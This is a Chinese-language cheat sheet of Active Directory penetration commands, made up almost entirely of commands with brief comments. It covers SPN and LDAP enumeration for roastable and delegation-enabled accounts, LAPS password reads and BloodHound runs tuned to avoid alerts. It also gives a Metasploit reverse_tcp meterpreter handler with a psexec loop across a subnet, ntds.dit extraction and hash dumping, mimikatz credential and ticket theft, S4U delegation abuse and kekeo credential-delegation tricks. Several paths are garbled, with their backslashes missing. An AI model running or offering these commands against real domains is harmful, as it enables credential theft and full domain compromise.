域渗透技巧

#查看当前域内所有的SPN：setspn -Q */*#查看指定域xie.com注册的SPN：setspn -T xie.com -Q */*setspn -X删除指定SPN查找指定用户/主机名注册的SPN：setspn -L username/hostname

#Discover-PSMSSQLServers.ps1的使用,扫描MSSQL服务Import-Module .Discover-PSMSSQLServers.ps1;Discover-PSMSSQLServers
#Discover-PSMSExchangeServers.ps1的使用，扫描Exchange服务Import-Module .Discover-PSMSExchangeServers.ps1;Discover-PSMSExchangeServers
#扫描域中所有的SPN信息Import-Module .Discover-PSInterestingServices.ps1;Discover-PSInterestingServices

cscript .GetUserSPNs.vbs

Import-Module .PowerView.ps1Get-NetUser -SPN

#Powershellery/Stable-ish/Get-SPN/ 下Get-SPN.psm1脚本的使用,需要powershell3.0及以上版本才能使用Import-Module .Get-SPN.psm1Get-SPN -type service -search "*"Get-SPN -type service -search "*" -List yes | Format-Table
#Powershellery/Stable-ish/ADS/ 下Get-DomainSpn.psm1脚本的使用Import-Module .Get-DomainSpn.psm1Get-DomainSpn

Import-Module .Find-PotentiallyCrackableAccounts.ps1;Find-PotentiallyCrackableAccounts -FullData -Verbose

Import-Module .Find-PotentiallyCrackableAccounts.ps1;Find-PotentiallyCrackableAccounts -Domain "xie.com"

#将枚举Domain Admins组中所有成员AdFind -b "CN=Domain Admins,CN=Users,DC=contoso,DC=com" member
#枚举adminCount 设置为1的所有帐户，现在，我们将运行LDAP查询，以查找至少属于一个受保护组的帐户。AdFind.exe -default -f "(&(adminCount=1)(objectClass=user))" -dn
#枚举配置为无约束委派的所有服务器（不包括DC）AdFind.exe -default -f "(&(objectCategory=computer)(!(primaryGroupID=516)(userAccountControl:1.2.840.113556.1.4.803:=524288)))" dnsHostName OperatingSystem lastlogonTimestamp pwdLastSet
#使用SPN枚举帐户AdFind.exe -default -f "(&(objectCategory=user)(servicePrincipalName=*))" cn serviceprincipalname pwdlastset lastlogontimestamp
#枚举不受约束委派的帐户AdFind.exe -default -f "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
#枚举AdminSDHolder容器上的DACL权限AdFind -b "CN=AdminSDHolder,CN=System,DC=contoso,DC=com" -s base nTSecurityDescriptor -sddl++ -resolvesids
#枚举域根对象上的DACLAdFind -b "DC=contoso,DC=com" -s base nTSecurityDescriptor -sddl++ -resolvesids
#枚举LAPS密码AdFind.exe -default -f "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" dnsHostName ms-Mcs-AdmPwd
#枚举禁用Kerberos预身份验证的帐户一旦禁用了预身份验证，攻击者就可以为任何用户请求身份验证数据，并且域控制器将返回可以离线暴力破解的加密TGT。此命令将查找禁用了Kerberos预身份验证的帐户。AdFind.exe -default -f "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" cn useraccountcontrol
#枚举所有域信任AdFind.exe -default -f "(&(objectClass=trustedDomain))"
#枚举子网AdFind -subnets -f (objectCategory=subnet) name
#排除dc的ldap查询（不会触发报警）Invoke-BloodHound -Loop -LoopInterval 00:01:00 -LoopDuration 00:10:00 -ExcludeDomainControllers
#枚举配置为无约束委派的所有服务器（不包括DC）([adsisearcher]'(&(objectCategory=computer)(!(primaryGroupID=516)(userAccountControl:1.2.840.113556.1.4.803:=524288)))').FindAll()
#枚举禁用Kerberos预身份验证的帐户([adsisearcher]'(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))').FindAll()
#枚举启用了Kerberos DES的帐户([adsisearcher]'(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2097152))').FindAll()
#列举所有计算机([adsisearcher]'(objectCategory=computer)').FindAll()
#枚举所有已启用的帐户([adsisearcher]'(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))').FindAll()
#枚举为基于资源的约束委派配置的服务器repadmin /showattr * DC=contoso,DC=com /subtree /filter:"((&(objectClass=computer)(msDS-AllowedToActOnBehalfOfOtherIdentity=*)))" /attrs:cn,msDs-AllowedToActOnBehalfOfOtherIdentit
#列举敏感的广告组([adsisearcher]'(&(adminCount=1)(objectClass=group))').FindAll()
#列举所有计算机([adsisearcher]'(objectCategory=computer)').FindAll()
#枚举所有已启用的帐户([adsisearcher]'(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))').FindAll()
#枚举所有全球安全组([adsisearcher]'(groupType=-2147483646)').FindAll

nslookupset type=allldap.tcp.dc._msdcs.DOMAIN_NAME

nslookupset type=all_msdcs.DOMAIN_NAME

nltest /dclist:domainname

net time /domain

echo %logonserver%

dsquery server

net group "domain controllers" /domain

net group “Domain Admins” /domain；

FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

#Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 0.0.0.0 setg LPORT 55555 set ExitOnSession false exploit -j -z#Setup Credentials use windows/smb/psexec set SMBUser set SMBPass#Setup Domain as local host unless using domain credentials set SMBDomain. #Disable playload handler in psexec modules (using multi handler) set DisablePayloadHandler true #Run Ruby code to scan desired network range using some REX API stuff - range walker #note: could also accept ip addresses from a file by replacing rhosts =”192.168.74.0/24” with rhosts = File.readlines(“c:systems.txt”) require 'rex/socket/range_walker' rhosts = "192.168.1.0/24" iplist = Rex::Socket::RangeWalker.new(rhosts) iplist.each do |rhost|      #self allows for execution of commands in msfconsole      self.run_single("set RHOST #{rhost}")      #-j-z send the session to the background      self.run_single("exploit -j -z") end

msfconsole msf> load token_hunter

msf> token_hunt_user -f /tmp/domain-admin.txt

Sessions –s loggedin

ntdsutil snapshot "activate instance ntds" create quit quit

Ntdsutil –snapshot—activate instance ntds—create—mount {guid}—copy 装载点windowsNTDSntds.dit d:ntds_save.dit

copy C:$SNAP_201911241434_VOLUMEC$windowsNTDSntds.dit c:ntds.dit

ntdsutil snapshot "unmount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit

ntdsutil snapshot "delete {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit

QuarksPwDump --dump-hash-domain --ntds-file d:ntds.dit

NTDSDumpEx.exe -d ntds.dit -o hash.txt -s sys.hiv -h

mimikatz log "privilege::debug" "lsadump::lsa /patch"

Get-NetUser -Unconstrained -Domain yunying.lab

Get-NetComputer -Unconstrained -Domain yunying.lab

Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -a

Get-DomainUser –TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

Get-DomainUser -TrustedToAuth -Domain yunying.lab

Get-DomainComputer -TrustedToAuth -Domain yunying.lab

privilege::debug       #提升权限ekurlsa::tickets /export #导出所有票据

kerberos::ptt 票据名称kerberos::list 查看当前会话票据   kerberos::tickets 查看所有的票据

Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

tgt::ask /user:域用户名 /domain:networksec /password:1111 /ticket:wptgt.kirbi tgt::ask /user:域用户名 /domain:networksec /NTLM:xxxxxxxxxxxxxxxx   /ticket:test.kirbi

Tgs::s4u /tgt:tgt票据名称 /user:administrator@networksec /service:访问服务名称 /user.networksec

kerberos::ptt st2名称

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegationAllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegationAllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *

tsssp::server

tsssp::client /target:anyword

tsssp::server

tsssp::client /target:anyword

tsssp::server

tsssp::client /target:TERMSRV/COMPUTER01.test.com /pipe:\COMPUTER01.test.compipekekeo_tsssp_endpoint

setspn.exe -q */*

setspn.exe -T test -q */*

tsssp_client.exe localhost

tsssp_client.exe Computer01.test.com